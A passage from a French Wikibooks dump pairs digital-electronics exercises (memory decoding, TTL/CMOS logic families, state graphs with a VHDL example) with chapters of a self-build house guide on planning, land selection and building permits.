un décodeur dont le but est de sortir un zéro sur une des sorties Yi. Chacune des diodes peut être assimilée à un contact électrique (c'est naturellement exact seulement quand cette diode est polarisée pour être passante). Lorsqu'aucune diode n'apparait au croisement d'une ligne horizontale et verticale, on dira qu'elle a été grillée, et d'un point de vue électrique, elle matérialise l'absence de contact. ====Exercice 1==== A partir du schéma ci-dessus, on vous demande de donner le contenu de cette mémoire. Les diodes de connexion non représentées sont naturellement grillées. === Zones utiles mémoires=== Une mémoire peut être modélisée comme un ensemble d'octets indexé par une adresse. Mais il suffit de forcer une des broches d'adresses à 0 ou à 1 pour que seules certaines zones soient accessibles. ====Exercice 2==== On considère une mémoire EPROM type 27C256 de 32K octets. a) Déterminer la largeur du bus de donnée et le nombre de bits du bus d'adresse. b) Calculer le nombre de zones et les adresses de début et fin des zones dans les cas suivants : * A14 = 1 * A13 = 0 * A12 = 0 et A10 = 1 ===Associations de mémoires=== En général lorsqu'on ne dispose que de circuits ayant une certaine capacité mémoire et que l'on désire réaliser un espace mémoire de plus grande capacité nous dedvons faire face à deux problèmes différents : * étendre la largeur du bus de données * étendre la largeur du bus d'adresse Le premier problème est très simple à résoudre comme le montre la figure ci-dessous (partie gauche) et le deuxième un peu plus complexe (partie doite). [[Image:Td6bfig3.png]] ====Exercice 3==== On souhaite constituer un bloc mémoire de 5K octets à partir de blocs élémentaires plus petits de 2K et 1K. Réaliser un schéma de la fonction Choix dans le cas où le bloc commence à l'adresse : 0000H. ===Décodage d'adresse=== Le décodage d'adresse consiste à sélectionner correctement un ensemble de circuits mémoire pour constituer une mémoire continue ou discontinue. Le principe est identique à l'extension des mémoires, réaliser un circuit de sélection. ====Exercice 4==== Nous voulons réaliser une interface mémoire avec un bus de données 8 bits (D7-D0) et un bus d'adresse 16 bits (A15-A0) avec un microprocesseur. Ce microprocesseur gère un signal /WR pour écrire et /RD pour lire. Donner les équations de sélection pour: * une ROM 8K pour une adresse commençant à 2000H * une ROM 4K pour une adresse commençant à 8000H * une ROM 2K pour une adresse commençant juste après celle de 8k Donner les mêmes équations de sélection si on admet la possibilité de voir plusieurs fois le même boîtier dans l'espace mémoire. ==TD7 : Les technologies== ===Les familles et sous familles=== * [[w:Transistor-Transistor logic|TTL]] L (Low Power) * TTL LS (Low Power Schottky) * TTL ALS (Advanced Low Power Schottky) * CMOS HC fonctionne sous une tension variant de 2 à 6V * CMOS HCT fonctionne sous 5V (compatible TTL). ===Paramètres électriques=== ====Niveaux de tension des entrées et des sorties==== Un 1 logique et un 0 logique ne peuvent représenter une valeur unique de tension : il s'agit forcément d'une zone de tension. Ainsi on trouvera systématiquement entre O et la tension d'alimentation trois zones : la zone correspondant au 1 logique, celle du zéro et entre les deux une zone où la valeur logique ne peut pas être considérée comme sûre. Ces zones définissent 4 tensions : VIHmin, VILmax, VOHmin et VOLmin (on garde ici la notation anglosaxone I = input et O = output). Pour être compatible, c'est à dire que l'on puisse relier une entrée à une sortie, il faut respecter un certain nombre de conditions sur ces tensions. Commençons par définir ces tensions : * VIH (High Level Input Voltage) tension d'entée de niveau haut -> VIHmin * VIL (Low Level Input Voltage) tension d'entée de niveau bas -> VILmax * V0H (High Level Output Voltage) tension de sortie de niveau haut -> VOHmin * V0L (Low Level Output Voltage) tension de sortie de niveau bas -> VOLmin Nous choisissons une représentation graphique pour exprimer les conditions nécessaires sur ces tensions pour un bon fonctionnement : [[Image:Td7bfig0.png]] Pour les entrées, la zone indéterminée est représentée en rouge. Pour les sorties les deux zones correspondant respectivement au un logique et au zéro logique sont représentées en vert. Pour être compatibles au niveau des tensions une ou plusieurs technologies doivent respecter le dessin ci-dessus à gauche. Cela signifie que les inégalités suivantes doivent être respectées : VIHmin < VOHmin et VILmax > VOLmax Graphiquement cela signifie que le rectangle rouge doit donc être complètement dans le rectangle blanc. ====Courants de sortie et d'entrée==== * IIH (High Level Input Current) courant d'entée de niveau haut * IIL (Low Level Input Current) courant d'entée de niveau bas * I0H (High Level Output Current) courant de sortie de niveau haut * I0L (Low Level Output Curent) courant de sortie de niveau bas Les problèmes de courant sont liés aux problèmes de tension. Si une entrée consomme trop de courant la tension de sortie risque de se trouver dans la zone indéterminée. Des conditions sur les courants doivent donc être respectées. Comme il est courant de relier une sortie à plusieurs entrées on définit un moyen simple de calculer le maximum de portes que l'on peut relier ensemble. On pose pour cela la convention suivante : l'entrance vaut 1 pour une ET-NON. La [[w:Sortance|sortance]] (fan-out) est le nombre maximal d'entrées qu'une sortie peut alimenter : c'est le plus petit des rapports IOH/IIH et IOL/IIL. L'assemblage des circuits suit une règle très simple : il suffit que la la sortance d'un cicuit soit supérieure ou égale à la somme des entrances des circuits qu'il commande. Pour cela il faut aussi avoir à l'esprit que l'entrance varie d'un composant à l'autre. Courant de court-circuit C'est un autre paramètre caractéristique d'une technologie. Il est noté IOS (Short Circuit Output Current). Pour une TTL ALS il vaut 140 mA (contre 400 uA normalement). ===Technologie TTL=== La technologie [[w:Transistor-Transistor logic|TTL]] est une des plus anciennes. Sa disparition est régulièrement annoncée. Son fonctionnement sera mieux compris à partir d'un schéma interne : [[Image:Td7bfig1.png]] Lorsque les entrées sont portées à 1 les jonction BE de T1 se bloquent. Seule la jonction BC de T1 reste en conduction. T2 et T3 sont alors passants. Dès qu'une des deux entrées est à 0 alors T1 et T4 deviennent passants. ====Exercice 1==== Dans un montage ALS une porte P alimente un circuit C dont l'entrance est de 4 (charges ALS). Pour obtenir un temps de calcul meilleur on conserve la porte P en technologie ALS et l'on remplace le circuit C par son équivalent AS pour lequel IIH= 20uA et IIL=-1,5 mA. Vérifier le bon fonctionnement du montage. (ALS : IOH= -0,4 mA et IOL=8 mA). ===Portes MOS=== Il existe plusieurs technologies MOS. Nous présentons celle qui utilise la technologie MOS complémentaire (ou [[w:CMOS|CMOS]]). Il existe deux sortes de transistors : les nMOS et pMOS. [[Image:Td7bfig2.png]] En résumé, un transistor nMOS est équivalent à un interrupteur ouvert si son entrée G vaut 0 et à un interrupteur fermé si son entrée G vaut 1. Un transistor pMOS est équivalent à un interrupteur ouvert si son entrée G vaut 1 et à un interrupteur fermé si son entrée G vaut 0. Ainsi si l'on connaît le type de transistor et l'entrée on peut en déduire le schéma équivalent : interrupteur ouvert ou fermé. ====Exercice 2==== # On donne le schéma ci-dessus (à droite) et on cherche la fonction z=f(a,b) ainsi réalisée. Pour cela on vous propose de dessiner les quatre schémas équivalents du montage en utilisant seulement des interrupteurs ouverts ou fermés, pour les quatre combinaisons d'entrée possibles. Naturellement les deux entrées a sont reliées ensemble (même si cela n'est pas fait sur le dessin) ainsi que les entrées b. # Pour savoir la valeur logique de la sortie, il suffit de trouver si celle-ci est reliée à VCC (1 logique) ou à la masse (0 logique) par les interrupteurs fermés. A l'aide de cette information donner la fonction réalisée par ce schéma. # Réaliser suivant le même principe (P en haut et N en bas) la porte NOR. ===Adaptations TTL/CMOS=== Il est facile de voir que du point de vue des tensions, une entrée TTL peut être reliée à une sortie CMOS mais pas l'inverse : [[Image:Td7bfig3.png]] On ajoute pour un bon fonctionnement dans le cas où une entrée CMOS est reliée à une sortie TTL une résistance reliée à 5V. Une telle résistance est appelée résistance de tirage. La porte TTL impose immédiatement (après son temps de propagation tp) une tension de 2,7 V puis la résistance de tirage fait monter la tension jusque vers 5V. ===Portes à sortie collecteur ouvert=== Comme leur nom l'indiquent, les sorties collecteur ouvert sortent directement un collecteur de transistor. Les avantages de cette solution sont mentionnées dans le dessin ci-dessous (ainsi qu'une comparaison avec les traditionnelles sorties totem-pôle: [[Image:Td7bfig4.png]] adaptation en tension : lorsque l'on utilise deux tensions différentes (ici Vcc et Vext) Une autre propriété est la possibilité de relier ensemble plusieurs sorties, réalisant ainsi un ET entre les sorties: [[Image:Td7bfig5.png]] ===Sorties trois états=== ====Exercice 3==== Un montage comporte n Nands à collecteur ouvert en parallèle, alimentant une NAND 74LS00A (et une résistance R reliée à VCC). Établir une relation entre n, R, IIL, IOL et VIL pour le niveau bas et une autre relation entre n, R, IOH, IIH et VIH pour le niveau haut. En déduire la plage de variation de R pour n=8 en utilisant les valeurs des paramètres des portes 74ALS00A et 74ALS01 (collecteur ouvert). ====Exercice 4==== Un montage comporte n portes à sorties 3 états 74ALS1244A alimentant une porte NAND 74ALS00A. Déterminer le nombre n de portes connectables en parallèle en utilisant les paramètres des portes. ==TD8 : Description par graphe d'états== ===Graphe d'états=== Un graphe d'état est une suite d'états et de transitions réceptives. Pour ceux qui auraient une connaissance du [[w:Grafcet|GRAFCET]] on parle ici d'état et non d'étape. Les évolutions seront représentées par un jeton (et un seul) qui se déplace d'état en état. ====États==== Les états sont représentés comme d'habitude par des cercles et un identificateur qui est souvent un chiffre. Il existe parmi les état un état particulier, dit état initial qui est actif à la mise sous tension. [[Image:Td8fig1.png]] Cette figure représente respectivement un état normal inactif, un état normal actif, un état initial inactif. ====Transitions==== Une transition décrit au moyen d'une flèche et d'une éventuelle condition le passage d'un état à un autre : on parlera de transition conditionnelle. Une telle transition ne spécifie pas ce qui se passe si la condition est fausse. Une transition réceptive diffère d'une transition conditionnelle par un trait barrant la transition. Cette transition spécifie immédiatement ce qui se passe si la condition n'est pas vraie : on reste dans le même état. Voici une transition réceptive : [[Image:td8fig2.png]] La receptivité est l'équation booléenne : c'est une valeur booléenne. La signification de cette transition peut être présentée par le dessin ci-dessous : [[Image:td8fig3.png]] où l'on montre l'équivalence des deux notaions habituelles. ===Équations de récurrence=== Code One-hot (une équation de récurrence par état) On cherche pour chacun des états i les conditions d'activations <math> AC_i</math> et les déactivations <math>D_i</math> puis on écrit : <math>{{x_i}^{+{}}} = AC_i + \overline {D_i} \cdot x_i + Init </math> pour un état initial et <math>{{x_i}^{+{}}} = (AC_i + \overline {D_i} \cdot x_i) \cdot \overline {Init} </math> pour un état normal. Init est une entrée ajoutée destinée à l'initialisation (synchrone ici). Un exemple sera plus parlant qu'un long discours. Soit le graphe d'état ci-dessous : [[Image:Td8fig4.png]] Cherchons les conditions d'activation <math> AC_i</math> de chacun des état : *<math> AC_1 = x_3 \cdot e_4 + x_4 \cdot e_3</math> *<math> AC_2 = x_1 \cdot e_1</math> *<math> AC_3 = x_2 \cdot e_2</math> *<math> AC_4 = x_1 \cdot \overline{e_1}</math> puis les conditions de désactivation *<math> D_1 = e_1 + \overline{e_1} = 1</math> *<math> D_2 = e_2</math> *<math> D_3 = e_4</math> *<math> D_4 = e_3</math> Les équations de récurrence sont alors : *<math>{{x_1}^{+{}}} = AC_1 + \overline {D_1} \cdot x_1 + Init = x_3 \cdot e_4 + x_4 \cdot e_3 + Init</math> *<math>{{x_2}^{+{}}} = (AC_2 + \overline {D_2} \cdot x_2) \cdot \overline {Init} = (x_1 \cdot e_1 + \overline{e_2} \cdot \overline {Init}</math> *<math>{{x_3}^{+{}}} = (AC_3 + \overline {D_3} \cdot x_3) \cdot \overline {Init} = (x_2 \cdot e_2 + \overline {e_4} \cdot x_3) \cdot \overline {Init} </math> *<math>{{x_4}^{+{}}} = (AC_4 + \overline {D_4} \cdot x_4) \cdot \overline {Init} = (x_1 \cdot \overline{e_1} + \overline {e_3} \cdot x_4) \cdot \overline {Init}</math> Les équations de sortie sont : *<math>a_1=x_1</math> *<math>a_2=x_1</math> *<math>a_3=x_3 + x_4</math> *<math>a_4=x_2</math> ===Implantation=== On implante ces équations de récurrence facilement avec des bascules D (voir TD 3). Le schéma correspondant est donné maintenant : [[Image:Td8fig5.png]] Le programme [[w:VHDL |VHDL]] correspondant est : <pre><nowiki> -- programme VHDL correspondant au graphe d'états précédent ENTITY graf1 IS PORT (I,e1,e2,e3,e4,clk : IN BIT; a1,a2,a3,a4 : OUT BIT); END graf1; ARCHITECTURE agraf1 OF graf1 IS SIGNAL x1,x2,x3,x4,x5 : BIT; BEGIN PROCESS(clk) BEGIN IF (clk'event AND clk='1') THEN x1 <= (x3 AND e4) OR (x4 AND e3) OR I; x2 <= (x1 AND e1 AND NOT I) OR (x2 AND NOT e2 AND NOT I); x3 <= (x2 AND e2 AND NOT I) OR (x3 AND NOT e4 AND NOT I); x4 <= (x1 AND NOT e1 AND NOT I) OR (x4 AND NOT e3 AND NOT I); END IF; END PROCESS; a1 <= x1; a2 <= x1; a3 <= x3 OR x4; a4 <= x2; END agraf1; </nowiki></pre> ===Exercices=== == Voir aussi == * [[w:Bascule|Wiki : Bascule]] * [[w:VHDL|Wiki : VHDL]] * [[w:Tableau_de_Karnaugh |Wiki : Table de Karnaugh]] * [[w:Registre_%C3%A0_d%C3%A9calage | Wiki : Registre à décalage]] * [[w:M%C3%A9moire_informatique|Wiki : Mémoires informatiques]] * [[w:Mémoire ROM|Wiki : ROM]] * [[w:Mémoire RAM|Wiki : RAM]] * [[w:Mémoire Flash|Wiki : Mémoire Flash]] * [[w:Transistor-Transistor logic|Wiki : TTL]] * [[w:CMOS|Wiki : CMOS]] Image:Td1bfig1.png 7237 34469 2006-02-24T16:51:47Z SergeMoutou 1178 Mémoire RS Mémoire RS Image:Td1bfig2.png 7238 34472 2006-02-24T17:06:54Z SergeMoutou 1178 Mémoire /R /S Mémoire /R /S Image:Td1bfig3.png 7239 34475 2006-02-24T17:19:28Z SergeMoutou 1178 Bascules D Bascules D Image:Td1bfig4.png 7240 34480 2006-02-24T17:33:17Z SergeMoutou 1178 Diagramme d'évolution Diagramme d'évolution Image:Td2bfig1.png 7241 34489 2006-02-24T17:53:32Z SergeMoutou 1178 Diagrammes d'évolution Diagrammes d'évolution Image:Td2bfig2.png 7242 34498 2006-02-24T18:08:54Z SergeMoutou 1178 Schéma à analyser Schéma à analyser Image:Td3bfig1.png 7243 34516 2006-02-24T18:35:40Z SergeMoutou 1178 A compléter cette partie combinatoire A compléter cette partie combinatoire Image:Td3bfig2.png 7244 34523 2006-02-24T18:58:31Z SergeMoutou 1178 Partie combinatoire à compléter Partie combinatoire à compléter Image:Td3bfig3.png 7245 34524 2006-02-24T18:59:20Z SergeMoutou 1178 A méditer longuement A méditer longuement Image:Td4bfig1.png 7246 34540 2006-02-24T20:02:34Z SergeMoutou 1178 Deux compteurs, deux fréquences limites Deux compteurs, deux fréquences limites Image:Td4bfig2.png 7247 34541 2006-02-24T20:03:23Z SergeMoutou 1178 Période minimale ? Période minimale ? Image:Td4bfig3.png 7248 34543 2006-02-24T20:09:32Z SergeMoutou 1178 Forçage asynchrone Forçage asynchrone Image:Td4bfig4.png 7249 34545 2006-02-24T20:12:37Z SergeMoutou 1178 Forçage asynchrone Forçage asynchrone Image:Td4bfig5.png 7250 34550 2006-02-24T20:16:30Z SergeMoutou 1178 7490 Compteur TTL 7490 Compteur TTL Construire sa maison - préliminaires 7251 42621 2006-05-17T12:06:20Z 82.233.44.250 /* Compétences nécessaires */ Ajout d'une parenthèse fermante qui manquait. Sommaire général : [[Construire sa maison]] L'autoconstrustion ressemble à la traversée de l'Atlantique en solitaire, on ne se lance qu'après mûres réflexions et à la fin de la préparation, on sait qu'on arrivera jusqu'au bout. ===Pourquoi construire soi-même sa maison=== Contruire sa maison n'est pas seulement une opération économique, un plaisir, une certitude de savoir « comment c'est fait », une façon de tout maîtriser, c'est aussi, par l'ampleur du travail, du temps et de l'énergie à y apporter, une sorte de défi que l'on se lance à soi-même. ===Compétences nécessaires=== Mener à bien un projet qui peut s'étaler sur trois à dix ans (certains disent « toute une vie ») nécessite une persévérance qui frise l'obstination. Le gros-œuvre réclame une bonne forme physique et un savoir faire particulier et aussi un outillage spécifique. Certaines grosses opérations (coulage de dalles, couverture...) ne peuvent se faire sans aide. Les connaissances minimum s'apprennent dans les livres mais surtout sur d'autres chantiers : ceux qui sont conduits par des professionnels mais aussi les chantiers d'autres autoconstructeurs à qui on aura intérêt à prêter main forte. ===Documentation et autoformation=== Les livres, magazines, fiches techniques établies par les magasins de bricolages... à la portée de tous sont nombreux. Il n'est pas nécessaire de savoir calculer un linteau en béton armé mais cela peut être utile d'en avoir compris le principe. La lecture des fascicules et plaquettes édités par les organismes plus ou moins officiels (CSTB, EDF...) ou par les fabricants est généralement accessible à tous et apporte l'essentiel. Il suffit de passer quelques jours à ''Batimat'', le salon du batiment à Paris, pour rapporter quelques kilogrammes de documentation dans tous les domaines. Quelques années avant de donner le premier coup de pioche il est bon d'avoir donné un coup de main dans chaque corps de métier à des amis ou voisins en plein chantier. Et il n'est pas exclu qu'ils rendent la pareille en apportant une aide, en prêtant un outil ou en donnant un surplus de matériaux. Sommaire général : [[Construire sa maison]] Image:Exemple.ogg 7253 34560 2006-02-24T20:39:27Z Lechence 1181 Construire sa maison - Avant-Projet 7254 34571 2006-02-24T21:06:56Z F5ZV 1177 création chapitre Sommaire général : [[Construire sa maison]] Un proverbe chinois (ou hébreu, ou arabe...) dit&nbsp;: ''Si tu veux construire une maison, assieds-toi&nbsp;! ''. Il convient donc de s’asseoir, pour réfléchir et calculer. == Évaluation des besoins == Construire pour soi implique de faire l’inventaire de ses propres [besoins actuels et futurs, d’imaginer l’évolution de la famille, de son propre mode de vie... Il faut dissocier la part du rêve (indispensable) et ce qui est réalisable, au moins dans l’immédiat. Il est fort possible qu’un couple vivant dans un appartement en ville ne fonctionnera plus de la même façon quand il sera dans son [[w:pavillon|pavillon]] rural avec ses trois enfants. On s’efforcera de lister tous les souhaits des personnes concernées puis de faire une sélection après les avoir triés. Un des avantages de l’'''autoconstruction''' est que, vu le temps nécessaire pour réaliser chaque étape, on peut rectifier le tir si de meilleures idées apparaissent en cours de réalisation. == Estimation des ressources nécessaires == Il s’agit non seulement de la trésorerie indispensable pour acheter les matériaux et l’outillage], payer les taxes (TLE...), frais de raccordements (EDF...) mais aussi le nombre d’heures, l’aide que l’on peut espérer des amis, les outils que l’on peut éventuellement emprunter. Le temps nécessaire à la réalisation d’un travail est assez difficile à estimer, surtout si c’est une première. On est généralement trop confiant et optimiste. == Recherche d’un terrain == Sujet très vaste. Voici quelques axes de réflexion qui aideront dans la démarche. * Situation géographique, de nombreux paramètres sont à prendre en compte&nbsp;: attachement sentimental et proximité de la famille, des amis, des commerces, des lieux d’activité, de culte et de loisirs, du cadre de vie, de l’évolution future du prix du terrain (aspect placement à long terme), des aménagements prévus ou prévisibles (autoroute, zone industrielle...), des constructions voisines à venir, de la couverture du réseau de téléphonie cellulaire ou de télévision hertzienne... * La distance au lieu de travail se mesure aussi en minutes mais le coût kilométrique doit tenir compte de tous les déplacements au tarif standard des services fiscaux. Tester le trajet futur dans différentes situations (heure de pointe, nuit, transport en commun...). Les distances vis à vis des services (administratifs, médicaux...), des commerces... sont à prendre en compte * Si le terrain est situé dans un [[w:lotissement|lotissement]], éplucher le règlement du lotissement. On y rencontre souvent des contraintes inattendues et dissuasives. Demander conseil à son [[w:notaire|notaire]]. * Situation climatique&nbsp;: orientation, ensoleillement, force et direction du vent dominant, précipitations moyennes (voir agence [[w:Météo-France|Météo-France]] locale), bruit en semaine, le dimanche et la nuit, [[w:risque naturel|risques naturels]] (sismique, inondation...) et industriels (nucléaire, pollution...), enneigement et état des routes... On aura intérêt à interroger largement la population de l’endroit, les futurs voisins, les anciens, les services municipaux, son notaire, les [[w:Direction départementale de l'équipement|services de la DDE]] (Direction départementale de l’équipement)... * Coût maximum dans le budget total. Il est plus facile d’agrandir une maison qu’un terrain, on a parfois intérêt à prendre un terrain un peu plus grand et à réduire l’importance de la construction, dans ses dimensions ou dans son aménagement. * Prix d’achat&nbsp;: s’agit-il d’un terrain vraiment viabilisé&nbsp;? S’il n’a pas de [[w:Certificat d'urbanisme|CU]] (Certificat d’urbanisme), on peut se rendre à la DDE pour obtenir des renseignements. Comparer non seulement le prix au m² mais aussi le prix total après viabilisation complète. Un terrain est un tout, pas une juxtaposition de [mètres-carré. * Prix de revient réel&nbsp;: pour chaque terrain sélectionné faire l’inventaire de tous les frais qui viendront s’ajouter au prix d’achat (raccordements et voies d’accès, taxes locales, [[w:terrassement|terrassement]], clôtures, [[w:assainissement|assainissement]]...) * Coût de la vie dans le secteur concerné&nbsp;: [[w:impôt foncier|impôts fonciers]] et [[w:impôt immobilier|immobiliers]], prix de l’eau... Le choix est ensuite une affaire de compromis et de feeling. La prospection est parfois laborieuse. Aux abords des villes, les terrains sont petits et rares. En dehors du tour des [[w:agence immobilière|agences immobilières]] et l’analyse des petites annonces, on peut essayer d’interroger chacune des mairies située dans la zone intéressante pour dépister les projets de lotissements communaux, consulter les [[w:plan d'occupation des sols|plans d’occupation des sols]] (POS) pour y repérer les terrains constructibles non viabilisés... == Planification des travaux == Dans la section ''Estimation des ressources'', on a calculé la capacité globale en heures de travail disponible par mois. Par [[w:corps de métier|corps de métier]], le temps nécessaire à la réalisation doit être calculé en heures de travail pour déterminer une durée en semaines de chaque grande opération. Pour cela il est indispensable de tenir compte de la saison, des périodes de vacances, de la disponibilité des matériels et outillage à emprunter... A l’aide de tous ces éléments on pourra établir un [[w:planning|planning]] sommaire qui permettra de déterminer les échéances-clés du projet. Il existe des outils informatiques simples de planification qui faciliteront grandement ce travail. Pendant la réalisation, l’avancement des travaux pourra être suivi plus précisément. En parallèle avec le calcul des heures, sera effectué le calcul des besoins en trésorerie. Les grandes dépenses seront positionnées dans le temps et les ressources financières nécessaires seront évaluées (quel montant et à quelle date). == Prévoir les évolutions futures == A défaut de boule de cristal, un peu d’imagination suffit pour prévoir les besoins futurs de la famille à qui est destinée la maison. Il vaut mieux prévoir l’installation de [[w:Énergie solaire|capteurs solaires]] et n’en mettre jamais que de regretter de n’avoir pas un [[w:pan de toit|pan de toit]] plein sud. Des [[w:conble|comble]]s aménageables ne sont pas plus coûteux que des combles qui ne le sont pas. Et s’ils sont aménageables l’intégration d’un [[w:escalier|escalier]] doit être prévu dès le début du projet. Quelques idées parmi des centaines&nbsp;: * Accès séparé pour l’étage en cas de location d’une partie de la maison. * Plutôt qu’un [[w:vide sanitaire|vide sanitaire]], pourquoi pas un [[w:sous-sol|sous-sol]] tout de suite&nbsp;? * Une alarme périphérique, des commandes électriques de [[w:volet roulant|volets roulants]], un câble d’antenne ou de réseau informatique nécessitent des gaines qu’il ne coûte pas cher de poser lors de la construction. * Il n’y a jamais trop de [[w:prise de courant|prises de courant]], ni trop de points d’alimentation en eau et d’[[w:évacuation|évacuation]]. * Envisager la pose de «&nbsp;[[w:Velux|Velux]]&nbsp;» avant la mise en place des pannes intermédiaires. * Le percement d’une ouverture de [[w:fenêtre|fenêtre]] est facilitée si un [[w:linteau|linteau]] a été coulé dès la phase de [[w:maçonnerie|maçonnerie]]. * Motoriser un portail ou installer un lampadaire extérieur est beaucoup plus simple si une gaine de canalisation électrique a été enterrée avant le [[w:remblaiement|remblaiement]]. Sommaire général : [[Construire sa maison]] Construire sa maison - Étude architecturale 7255 43063 2006-05-23T22:27:40Z 82.244.77.131 /* Le permis de construire */ Sommaire général : [[Construire sa maison]] La conception d'un espace à vivre n'est pas du seul domaine des architectes professionnels. Bien sûr il sera très prudent de consulter un homme de l'art dés que l'avant-projet commencera à prendre tournure comme une future maman consulte son médecin. L'architecte agira comme un accoucheur d'idées et comme un expert mais ce n'est pas lui qui peut déterminer le futur cadre de vie de ceux qui viennent le consulter == Esquisse == Une maison peut être considérée comme un ensemble de volumes protégés, destinés à abriter diverses fonctions vitales d’une famille&nbsp;: se nourrir, dormir, travailler, se distraire, faire sa toilette, recevoir des invités... Elle doit permettre non seulement à la famille de s’isoler des agressions extérieures (froid, chaleur, intempéries, intrusions diverses, regards...) mais aussi donner à chacun des membres de la famille la possibilité de s’isoler du reste de la communauté tant sur le plan du regard, des odeurs, que du bruit... Lorsqu’un inventaire le plus complet des fonctions à assurer est terminé, on peut juxtaposer les volumes destinés à remplir ces fonctions et tenter de les relier entre eux de la façon la plus judicieuse. Il reste ensuite à imaginer la coquille qui protègera le tout et à intégrer cet ensemble dans un espace tout aussi hérissé de contraintes&nbsp;: le terrain et son environnement. == Implantation du bâtiment == L’inventaire des contraintes extérieures au bâtiment et des divers espaces intérieurs à la maison va permettre l’implantation de cette dernière sur son terrain. Exemples&nbsp;: * Position des chambres par rapport au lever du soleil, aux sources de bruits externes (rue, industrie, vent...) ou interne (lingerie, télévision, salle-à-manger...), à l’accès de la salle de bain... * Orientation du pan de toit par rapport au soleil, des fenêtres du salon par rapport à la vue extérieure, * Position des salle-de-bain, cuisine, WC par rapport aux évacuations ([[w:assainissement|assainissement]], [[w:égout|égout]]s). * Porte d’entrée et de garage au plus près du chemin d’accès. * Façade à présenter vers le visiteur * Position du bâtiment par rapport aux limites de propriété, compte tenu du chemin d’accès et de l’aménagement futur du terrain (jardin potager, future piscine, terrain de jeu...), du règlement de lotissement ou des règles locales d’[[w:urbanisme|urbanisme]], des servitudes, des tranchées à effectuer, de l’accès du camion de vidange (cas d’une fosse toutes eaux) ... * La position et la taille des ouvertures sont aussi déterminées par les rayons du soleil, la vue extérieure, le dessin des façades. * Une [[w:véranda|véranda]] est non seulement un lieu de vie à mi-chemin entre l’extérieur et l’intérieur, c’est aussi un espace tampon qui isole du froid, du vent, de la pluie... et permet de ranger chaussures, parapluie, bûches pour la cheminée, plantes fragiles pendant l’hiver... * Les dénivellations déterminent la hauteur du bâtiment et surtout son point le plus bas, compte tenu des écoulements d’eau de ruissellement et de drainage et des évacuations d’eau usées. La conception d’une maison réclame beaucoup de temps, d’essais ratés, de nuit-qui-porte-conseil, d’idées géniales et de papier de brouillon. Il ne faut pas hésiter à reprendre tout à zéro et à remettre l’ouvrage sur le métier autant de fois qu’il sera nécessaire. L’observation et la visite d’autres maisons sont très enrichissantes. == Choix techniques particuliers == La construction projetée sera déterminée aussi * en fonction de l’architecture locale&nbsp;: ** forme générale, nombre d’étages (maison de plain-pied), ** pente du toit, type de couverture (tuile, shingle...) ** matériaux utilisés (colombages, bardage, sous-bassements en pierre...) ** position des conduits de fumée, forme des lucarnes ** style des fermetures (volets, fenêtres...) ** entrée de la lumière du jour en fonction des heures et de l’occupation des locaux. * ou des évolutions futures&nbsp;: ** installation de capteurs solaires, piscine, aspiration centralisée, vide-ordure... ** extension du bâtiment (nouvelle aile, garage, terrasse, véranda...) ** combles aménageables, sauna, ** vide sanitaire, ou sous-sol (petites ouvertures, cours anglaises...), cave à vin... La question à se poser à chaque étape est&nbsp;: «&nbsp;et si un jour on voulait faire...&nbsp;». Penser aussi à l’évolution des goûts, la mode actuelle paraîtra peut-être ringarde dans une paire de décennies. == Réalisation des plans == De l’esquisse on passe à un dessin d’ensemble de chaque niveau (sous-sol...) et de chaque façade. Inutile de trop fignoler le graphisme, il va falloir faire des dizaines de retouches avant d’avoir traité tous les problèmes posés. Il existe des applications plus ou moins bien faites de dessin d’architecture sur PC, on les gardera pour le dessin final car rien ne vaut le papier calque (pour pouvoir superposer les différents niveaux), le crayon et la gomme. L’échelle 1&nbsp;cm pour 1&nbsp;mètre (1/100) convient bien pour l’avant-projet (format A4 = 21x30&nbsp;cm), on passera à 2&nbsp;cm pour un mètre (échelle (1/50) avec les dessins plus détaillés (format A3 = 30x42&nbsp;cm si nécessaire). L’inventaire des besoins établis précédemment sera complété au fur et à mesure que l’on rentrera dans le détail. À la liste des besoins on ajoute celle des contraintes comme par exemple&nbsp;: * largeur des portes et volume des escaliers à déterminer en fonction des dimensions des meubles à faire rentrer (baignoire, congélateur...), passage de fauteuil roulant... * dimensions de la salle à manger tenant compte de la circulation autour de la table * disposition du salon en fonction de la position de la cheminée à feu ouvert * superposition des toilettes à chaque étage pour faciliter les évacuations * position des conduits de fumée en fonction des règles de sécurité (écart de feu, trappes de ramonage, charpente...) et de la position des cloisons dans les étages supérieurs * endroit de stockage extérieur des bouteilles de propane par rapport aux appareils qui doivent y être raccordés. Dés cette étape il peut être très rentable de consulter un architecte diplômé pour recueillir son avis. Certaines administrations (DDE, mairie des grandes villes...) emploient des architectes chargés de répondre aux questions du public. À défaut il vaut mieux payer, avant les travaux, les services (à négocier) d’un architecte privé que le coût d’une erreur grave. Lorsque le plan d’ensemble de chaque niveau est stabilisé on peut alors passer au dessin des plans de détails à l’échelle 1/50 par corps de métier&nbsp;: * Terrassement&nbsp;: plan de piquetage, chemin d’accès, position des terres, tranchées d’évacuation * Maçonnerie&nbsp;: fondations, murs du sous-sol, dalles, plan des façades * Charpente, planchers sur solive... * Cloisons de doublage et de distribution, mobilier... * Evacuations des eaux usées, passage des canalisations principales (PVC, cuivre, gaz...), cuves de stockage, assainissement... * Canalisations et circuits électriques, gaines techniques... Ces plans serviront aussi à déterminer l’approvisionnement des [[matériau|matériaux]], au calcul de devis plus précis, à la réalisation et à la maintenance future. Ils seront corrigés au cours de la réalisation. == Le permis de construire == Si la [[w:surface hors œuvre nette|surface hors œuvre nette]] (SHON) ne dépasse pas 170 m² (correspondant à un pavillon moyen), le recours à un architecte n’est pas obligatoire. Au-delà de cette surface, rien n’empêche le maître d’ouvrage (propriétaire de la future construction) qui est aussi le maître d’œuvre (responsable de la réalisation) de faire l’étude de l’avant projet et de le soumettre à un architecte qui reprendra ces plans comme base d’étude du projet. Notons ici que la pratique de la "signature de complaisance", hélas parfois sollicitée par des maîtres d’ouvrage ignorants et recherchant de fausses économies, est formellement interdite par le code des devoirs professionnels de l’architecte. Le coût de la prestation dépend du travail à réaliser. Pour avoir un ordre de grandeur on peut soit consulter plusieurs cabinets, soit interroger l’ordre des architectes. La constitution du dossier de demande de [[w:permis de construire|permis de construire]] ne demande pas de compétences particulières et les démarches sont très instructives. La liste des pièces à présenter à la mairie : * formulaire * [[w:titre de propriété|titre de propriété]] * croquis des facades * vue en plan * plan de coupe * descriptif des travaux ou devis (le descriptif des fondations n'est pas nécessaire) * vu en coupe précisant l'implantion par rapport au terrain naturel * photo couleur situant le terrain * [[w:plan de situation|plan de situation]] * [[w:plan de cadastre|plan de cadastre]] ou de [[w:plan de masse|plan de masse]] Les services 